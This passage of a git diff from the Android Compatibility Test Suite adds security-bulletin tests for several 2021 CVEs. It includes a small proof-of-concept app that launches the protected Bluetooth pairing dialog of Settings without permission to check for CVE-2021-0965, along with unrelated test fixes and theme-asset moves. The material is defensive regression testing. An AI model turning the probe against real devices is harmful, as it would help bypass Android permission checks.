+        AdbUtils.assumeHasNfc(device);
+        assumeIsSupportedNfcDevice(device);
+        String binaryName = "CVE-2021-0956";
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
new file mode 100644
index 0000000..a242904
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0965 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0965.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/194300867
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 194300867)
+    @Test
+    public void testPocCVE_2021_0965() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
+        String errorLog = "Vulnerable to b/194300867 !!";
+        String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
+        Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
+        assertFalse(pattern.matcher(logcat).find());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
index 4df0f6f..bfa056b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -13,24 +13,26 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-
 package android.security.cts;
 
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
 import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2021_1906 extends SecurityTestCase {
 
     /**
-     * b/179839665
-     * Vulnerability Behaviour: SIGSEGV in Self
+     * CVE-2021-1906
      */
-    @AsbSecurityTest(cveBugId = 179839665)
+    @AsbSecurityTest(cveBugId = 178810049)
     @Test
-    public void testPocCVE_2021_0684() throws Exception {
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+    public void testPocCVE_2021_1906() throws Exception {
+        assumeTrue(containsDriver(getDevice(), "/dev/kgsl-3d0"));
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-1906", getDevice(), 60);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
index 233fdb4..bb6631a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
@@ -19,7 +19,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.content.ActivityNotFoundException;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -32,7 +31,6 @@
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
@@ -56,12 +54,6 @@
     intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
     intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
     context.startActivity(intent);
-    try{
-      context.startActivity(intent);
-    } catch(ActivityNotFoundException e){
-      assumeNoException(e);
-      return;
-    }
 
     //wait for poc app to complete (it takes about 6 seconds)
     SystemClock.sleep(20000);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
index 987b161..0f42461 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -1,5 +1,6 @@
 package android.security.cts.CVE_2021_0921;
 
+import android.content.ActivityNotFoundException;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -9,6 +10,8 @@
 
 import java.io.File;
 
+import static org.junit.Assume.assumeNoException;
+
 public class Trigger {
     private static final String TAG = "TAG_2021_0921.Triggger";
     private Context mContext;
@@ -35,7 +38,12 @@
         String authTypes[] = {"android.security.cts"};
 
         intent.putExtra("account_types", authTypes);
-        mContext.startActivity(intent);
+
+        try {
+            mContext.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            // activity does not exist on this device
+        }
         Log.d(TAG, "accountSettings() end");
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
new file mode 100644
index 0000000..ab1f627
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+    name: "CVE-2021-0965",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml
new file mode 100644
index 0000000..ae1d2f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0965"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0965"
+        android:supportsRtl="true">
+
+        <activity android:exported="true" android:name=".PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+  <instrumentation
+    android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0965" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
new file mode 100644
index 0000000..e709d0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0965;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import android.content.Intent;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        try {
+            device.wakeUp();
+        } catch (Exception e) {
+        }
+        device.pressHome();
+    }
+
+    @Test
+    public void testPermission() {
+        try {
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.setClassName("com.android.settings",
+                    "com.android.settings.bluetooth.BluetoothPairingDialog");
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            getApplicationContext().startActivity(intent);
+        } catch (SecurityException e) {
+            return;
+        }
+
+        /* If SecurityException is not thrown, it indicates absence of fix */
+        throw new RuntimeException("Vulnerable to b/194300867 !!");
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java
new file mode 100644
index 0000000..04baf77
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0965;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
index 8b628cf..d547c0d 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
@@ -79,6 +79,7 @@
 import java.util.Queue;
 import java.util.Random;
 import java.util.Set;
+import java.util.StringTokenizer;
 import java.util.function.Function;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -926,7 +927,16 @@
      */
     protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
         final String features = getDevice().executeShellCommand("pm list features");
-        boolean hasIt = features.contains(featureName);
+        StringTokenizer featureToken = new StringTokenizer(features, "\n");
+        boolean hasIt = false;
+
+        while (featureToken.hasMoreTokens()) {
+            if (("feature:" + featureName).equals(featureToken.nextToken())) {
+                 hasIt = true;
+                 break;
+            }
+        }
+
         if (hasIt != requiredAnswer) {
             LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
                     + featureName);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index d907249..ee1d0e0 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -75,6 +75,7 @@
 
     private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_WATCH = "android.hardware.type.watch";
+    private static final String FEATURE_TWM = "com.google.clockwork.hardware.traditional_watch_mode";
     private static final String FEATURE_WIFI = "android.hardware.wifi";
     private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
 
@@ -340,6 +341,7 @@
     }
 
     public void testBatterySaverModeStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_TWM)) return;
         if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
         // Setup, turn off battery saver.
         turnBatterySaverOff();
diff --git a/hostsidetests/theme/assets/S/140dpi.zip b/hostsidetests/theme/assets/31/S/140dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/140dpi.zip
rename to hostsidetests/theme/assets/31/S/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/180dpi.zip b/hostsidetests/theme/assets/31/S/180dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/180dpi.zip
rename to hostsidetests/theme/assets/31/S/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/200dpi.zip b/hostsidetests/theme/assets/31/S/200dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/200dpi.zip
rename to hostsidetests/theme/assets/31/S/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/220dpi.zip b/hostsidetests/theme/assets/31/S/220dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/220dpi.zip
rename to hostsidetests/theme/assets/31/S/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/260dpi.zip b/hostsidetests/theme/assets/31/S/260dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/260dpi.zip
rename to hostsidetests/theme/assets/31/S/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/280dpi.zip b/hostsidetests/theme/assets/31/S/280dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/280dpi.zip
rename to hostsidetests/theme/assets/31/S/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/300dpi.zip b/hostsidetests/theme/assets/31/S/300dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/300dpi.zip
rename to hostsidetests/theme/assets/31/S/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/340dpi.zip b/hostsidetests/theme/assets/31/S/340dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/340dpi.zip
rename to hostsidetests/theme/assets/31/S/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/360dpi.zip b/hostsidetests/theme/assets/31/S/360dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/360dpi.zip
rename to hostsidetests/theme/assets/31/S/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/400dpi.zip b/hostsidetests/theme/assets/31/S/400dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/400dpi.zip
rename to hostsidetests/theme/assets/31/S/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/420dpi.zip b/hostsidetests/theme/assets/31/S/420dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/420dpi.zip
rename to hostsidetests/theme/assets/31/S/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/440dpi.zip b/hostsidetests/theme/assets/31/S/440dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/440dpi.zip
rename to hostsidetests/theme/assets/31/S/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/560dpi.zip b/hostsidetests/theme/assets/31/S/560dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/560dpi.zip
rename to hostsidetests/theme/assets/31/S/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/hdpi.zip b/hostsidetests/theme/assets/31/S/hdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/hdpi.zip
rename to hostsidetests/theme/assets/31/S/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/ldpi.zip b/hostsidetests/theme/assets/31/S/ldpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/ldpi.zip
rename to hostsidetests/theme/assets/31/S/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/mdpi.zip b/hostsidetests/theme/assets/31/S/mdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/mdpi.zip
rename to hostsidetests/theme/assets/31/S/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/tvdpi.zip b/hostsidetests/theme/assets/31/S/tvdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/tvdpi.zip
rename to hostsidetests/theme/assets/31/S/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xhdpi.zip b/hostsidetests/theme/assets/31/S/xhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/xhdpi.zip
rename to hostsidetests/theme/assets/31/S/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxhdpi.zip b/hostsidetests/theme/assets/31/S/xxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/xxhdpi.zip
rename to hostsidetests/theme/assets/31/S/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxxhdpi.zip b/hostsidetests/theme/assets/31/S/xxxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/xxxhdpi.zip
rename to hostsidetests/theme/assets/31/S/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/140dpi.zip b/hostsidetests/theme/assets/32/140dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/140dpi.zip
copy to hostsidetests/theme/assets/32/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/180dpi.zip b/hostsidetests/theme/assets/32/180dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/180dpi.zip
copy to hostsidetests/theme/assets/32/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/200dpi.zip b/hostsidetests/theme/assets/32/200dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/200dpi.zip
copy to hostsidetests/theme/assets/32/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/220dpi.zip b/hostsidetests/theme/assets/32/220dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/220dpi.zip
copy to hostsidetests/theme/assets/32/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/260dpi.zip b/hostsidetests/theme/assets/32/260dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/260dpi.zip
copy to hostsidetests/theme/assets/32/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/280dpi.zip b/hostsidetests/theme/assets/32/280dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/280dpi.zip
copy to hostsidetests/theme/assets/32/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/300dpi.zip b/hostsidetests/theme/assets/32/300dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/300dpi.zip
copy to hostsidetests/theme/assets/32/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/340dpi.zip b/hostsidetests/theme/assets/32/340dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/340dpi.zip
copy to hostsidetests/theme/assets/32/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/360dpi.zip b/hostsidetests/theme/assets/32/360dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/360dpi.zip
copy to hostsidetests/theme/assets/32/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/400dpi.zip b/hostsidetests/theme/assets/32/400dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/400dpi.zip
copy to hostsidetests/theme/assets/32/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/420dpi.zip b/hostsidetests/theme/assets/32/420dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/420dpi.zip
copy to hostsidetests/theme/assets/32/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/440dpi.zip b/hostsidetests/theme/assets/32/440dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/440dpi.zip
copy to hostsidetests/theme/assets/32/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/560dpi.zip b/hostsidetests/theme/assets/32/560dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/560dpi.zip
copy to hostsidetests/theme/assets/32/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/hdpi.zip b/hostsidetests/theme/assets/32/hdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/hdpi.zip
copy to hostsidetests/theme/assets/32/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/ldpi.zip b/hostsidetests/theme/assets/32/ldpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/ldpi.zip
copy to hostsidetests/theme/assets/32/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/mdpi.zip b/hostsidetests/theme/assets/32/mdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/mdpi.zip
copy to hostsidetests/theme/assets/32/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/tvdpi.zip b/hostsidetests/theme/assets/32/tvdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/tvdpi.zip
copy to hostsidetests/theme/assets/32/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xhdpi.zip b/hostsidetests/theme/assets/32/xhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/xhdpi.zip
copy to hostsidetests/theme/assets/32/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxhdpi.zip b/hostsidetests/theme/assets/32/xxhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/xxhdpi.zip
copy to hostsidetests/theme/assets/32/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxxhdpi.zip b/hostsidetests/theme/assets/32/xxxhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/xxxhdpi.zip
copy to hostsidetests/theme/assets/32/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/140dpi.zip b/hostsidetests/theme/assets/Sv2/140dpi.zip
deleted file mode 100644
index 48de32b..0000000
--- a/hostsidetests/theme/assets/Sv2/140dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/180dpi.zip b/hostsidetests/theme/assets/Sv2/180dpi.zip
deleted file mode 100644
index 4def986..0000000
--- a/hostsidetests/theme/assets/Sv2/180dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/200dpi.zip b/hostsidetests/theme/assets/Sv2/200dpi.zip
deleted file mode 100644
index fe2495e..0000000
--- a/hostsidetests/theme/assets/Sv2/200dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/220dpi.zip b/hostsidetests/theme/assets/Sv2/220dpi.zip
deleted file mode 100644
index a2c2ea2..0000000
--- a/hostsidetests/theme/assets/Sv2/220dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/260dpi.zip b/hostsidetests/theme/assets/Sv2/260dpi.zip
deleted file mode 100644
index 74890a2..0000000
--- a/hostsidetests/theme/assets/Sv2/260dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/280dpi.zip b/hostsidetests/theme/assets/Sv2/280dpi.zip
deleted file mode 100644
index 83fd290..0000000
--- a/hostsidetests/theme/assets/Sv2/280dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/300dpi.zip b/hostsidetests/theme/assets/Sv2/300dpi.zip
deleted file mode 100644
index 25334d8..0000000
--- a/hostsidetests/theme/assets/Sv2/300dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/340dpi.zip b/hostsidetests/theme/assets/Sv2/340dpi.zip
deleted file mode 100644
index 2092326..0000000
--- a/hostsidetests/theme/assets/Sv2/340dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/360dpi.zip b/hostsidetests/theme/assets/Sv2/360dpi.zip
deleted file mode 100644
index c13ad5c..0000000
--- a/hostsidetests/theme/assets/Sv2/360dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/400dpi.zip b/hostsidetests/theme/assets/Sv2/400dpi.zip
deleted file mode 100644
index 1df1a95..0000000
--- a/hostsidetests/theme/assets/Sv2/400dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/420dpi.zip b/hostsidetests/theme/assets/Sv2/420dpi.zip
deleted file mode 100644
index d58d418..0000000
--- a/hostsidetests/theme/assets/Sv2/420dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/440dpi.zip b/hostsidetests/theme/assets/Sv2/440dpi.zip
deleted file mode 100644
index 535102f..0000000
--- a/hostsidetests/theme/assets/Sv2/440dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/560dpi.zip b/hostsidetests/theme/assets/Sv2/560dpi.zip
deleted file mode 100644
index 20f1c7b..0000000
--- a/hostsidetests/theme/assets/Sv2/560dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/hdpi.zip b/hostsidetests/theme/assets/Sv2/hdpi.zip
deleted file mode 100644
index 582989d..0000000
--- a/hostsidetests/theme/assets/Sv2/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/ldpi.zip b/hostsidetests/theme/assets/Sv2/ldpi.zip
deleted file mode 100644
index 3035146..0000000
--- a/hostsidetests/theme/assets/Sv2/ldpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/mdpi.zip b/hostsidetests/theme/assets/Sv2/mdpi.zip
deleted file mode 100644
index a831e7b..0000000
